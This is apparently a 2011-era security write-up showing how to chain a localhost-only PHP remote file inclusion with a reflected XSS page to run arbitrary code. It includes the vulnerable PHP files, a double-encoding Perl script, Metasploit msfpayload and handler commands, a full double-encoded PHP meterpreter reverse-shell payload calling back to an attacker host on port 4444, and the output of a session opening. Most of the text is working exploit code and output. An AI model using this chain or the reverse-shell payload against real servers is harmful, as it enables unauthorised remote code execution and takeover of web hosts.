Bypassing trusted remote file inclusion using XSS

The combination of a trusted RFI and non-persistent XSS vulnerability in certain cases allows the execution of arbitrary code within the privileges of the web server. The idea behind this is to leverage the XSS vulnerability with the goal to echo back code that will be included by the trusted RFI. In the following scenario the index.php file is vulnerable to remote file inclusion for localhost only (startsWith filter). xss.php is vulnerable to cross site scripting. By double encoding PHP code and sending it to the XSS script the PHP code is echoed back and executed by the inclusion in the index.php file.

Tested on: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch16 with following two vulnerable files.

index.php

<?php
function startsWith($haystack, $needle){
return (substr($haystack, 0, strlen($needle)) === $needle);
}
if(startsWith($_GET['trfi'],"http://127.0.0.1")){
include($_GET['trfi']);
}
?>

xss.php

<?php print "Not found ". urldecode($_SERVER["REQUEST_URI"]); ?>

Hex Double Encoding

Double encode the PHP payload e.g. with http://ha.ckers.org/xss.html#XSScalc.
Double hex encoded “?” -> %3F -> %25%33%46
Double hex encoded " " (space) -> %20 -> %25%32%30
Encoded phpinfo():
<%25%33%46php%25%32%30phpinfo();%25%32%30%25%33%46>

Proof of Concept / Phpinfo

http://192.168.101.89/index.php?trfi=http://127.0.0.1/xss.php?<%25%33%46php%25%32%30phpinfo();%25%32%30%25%33%46>

Meterpreter

In this way it is possible to get a PHP reverse meterpreter connection.

Generate and Encode Meterpreter Payload

This payload, when double hex encoded is too big and rejected by the web server with: “Request-URI Too Large”. This happens as web servers impose length checks for the GET parameters. Using this Perl script it is possible to just encode the characters with special meaning twice. This script also fixes the meterpreter code to be executable:

#!/usr/bin/perl
use URI::Escape;
while (<STDIN>) {
if( $_ !~ m/^#.*/ || $_ =~ m/^#</){
print uri_escape(uri_escape($_));}
}
print(uri_escape("?>")."\n");

Pack code like this:

msfpayload php/meterpreter/reverse_tcp LHOST=192.168.101.51 LPORT=4444 R | dbluriescape.pl

The resulting payload is decreased from 5824 bytes to 2709bytes.

Start Handler
Start PHP meterpreter handler on port 4444.
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.101.51
LHOST => 192.168.101.51
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit

Double URL escaped meterpreter as parameter.

http://192.168.101.89/index.php?trfi=http://127.0.0.1/xss.php%2523%253C%253Fphp%25
0A%250Aerror_reporting(0)%253B%250A%2524ip%2520%253D%2520'192.168.101.51'%253B%250
A%2524port%2520%253D%25204444%253B%250Aif%2520(FALSE%2520!%253D%253D%2520strpos(%2
524ip%252C%2520%2522%253A%2522))%2520%257B%250A%2509%2523%2520ipv6%2520requires%25
20brackets%2520around%2520the%2520address%250A%2509%2524ip%2520%253D%2520%2522%255
B%2522.%2520%2524ip%2520.%2522%255D%2522%253B%250A%257D%250A%250Aif%2520((%2524f%2
520%253D%2520'stream_socket_client')%2520%2526%2526%2520is_callable(%2524f))%2520%
257B%250A%2509%2524s%2520%253D%2520%2524f(%2522tcp%253A%252F%252F%257B%2524ip%257D
%253A%257B%2524port%257D%2522)%253B%250A%2509%2524s_type%2520%253D%2520'stream'%25
3B%250A%257D%2520elseif%2520((%2524f%2520%253D%2520'fsockopen')%2520%2526%2526%252
0is_callable(%2524f))%2520%257B%250A%2509%2524s%2520%253D%2520%2524f(%2524ip%252C%
2520%2524port)%253B%250A%2509%2524s_type%2520%253D%2520'stream'%253B%250A%257D%252
0elseif%2520((%2524f%2520%253D%2520'socket_create')%2520%2526%2526%2520is_callable
(%2524f))%2520%257B%250A%2509%2524s%2520%253D%2520%2524f(AF_INET%252C%2520SOCK_STR
EAM%252C%2520SOL_TCP)%253B%250A%2509%2524res%2520%253D%2520%2540socket_connect(%25
24s%252C%2520%2524ip%252C%2520%2524port)%253B%250A%2509if%2520(!%2524res)%2520%257
B%2520die()%253B%2520%257D%250A%2509%2524s_type%2520%253D%2520'socket'%253B%250A%2
57D%2520else%2520%257B%250A%2509die('no%2520socket%2520funcs')%253B%250A%257D%250A
if%2520(!%2524s)%2520%257B%2520die('no%2520socket')%253B%2520%257D%250A%250Aswitch
%2520(%2524s_type)%2520%257B%2520%250Acase%2520'stream'%253A%2520%2524len%2520%253
D%2520fread(%2524s%252C%25204)%253B%2520break%253B%250Acase%2520'socket'%253A%2520
%2524len%2520%253D%2520socket_read(%2524s%252C%25204)%253B%2520break%253B%250A%257
D%250Aif%2520(!%2524len)%2520%257B%250A%2509%2523%2520We%2520failed%2520on%2520the
%2520main%2520socket.%2520%2520There's%2520no%2520way%2520to%2520continue%252C%252
0so%250A%2509%2523%2520bail%250A%2509die()%253B%250A%257D%250A%2524a%2520%253D%252
0unpack(%2522Nlen%2522%252C%2520%2524len)%253B%250A%2524len%2520%253D%2520%2524a%2
55B'len'%255D%253B%250A%250A%2524b%2520%253D%2520''%253B%250Awhile%2520(strlen(%25
24b)%2520%253C%2520%2524len)%2520%257B%250A%2509switch%2520(%2524s_type)%2520%257B
%2520%250A%2509case%2520'stream'%253A%2520%2524b%2520.%253D%2520fread(%2524s%252C%
2520%2524len-
strlen(%2524b))%253B%2520break%253B%250A%2509case%2520'socket'%253A%2520%2524b%252
0.%253D%2520socket_read(%2524s%252C%2520%2524len-
strlen(%2524b))%253B%2520break%253B%250A%2509%257D%250A%257D%250A%250A%2524GLOBALS
%255B'msgsock'%255D%2520%253D%2520%2524s%253B%250A%2524GLOBALS%255B'msgsock_type'%
255D%2520%253D%2520%2524s_type%253B%250Aeval(%2524b)%253B%250Adie()%253B%250A%3F%3
E
Get PHP Shell
[*] Started reverse handler on 192.168.101.51:4444
[*] Starting the payload handler...
[*] Sending stage (38553 bytes) to 192.168.101.89
[*] Meterpreter session 1 opened (192.168.101.51:4444 -> 192.168.101.89:3988) at
2011-11-09 14:37:47 -0500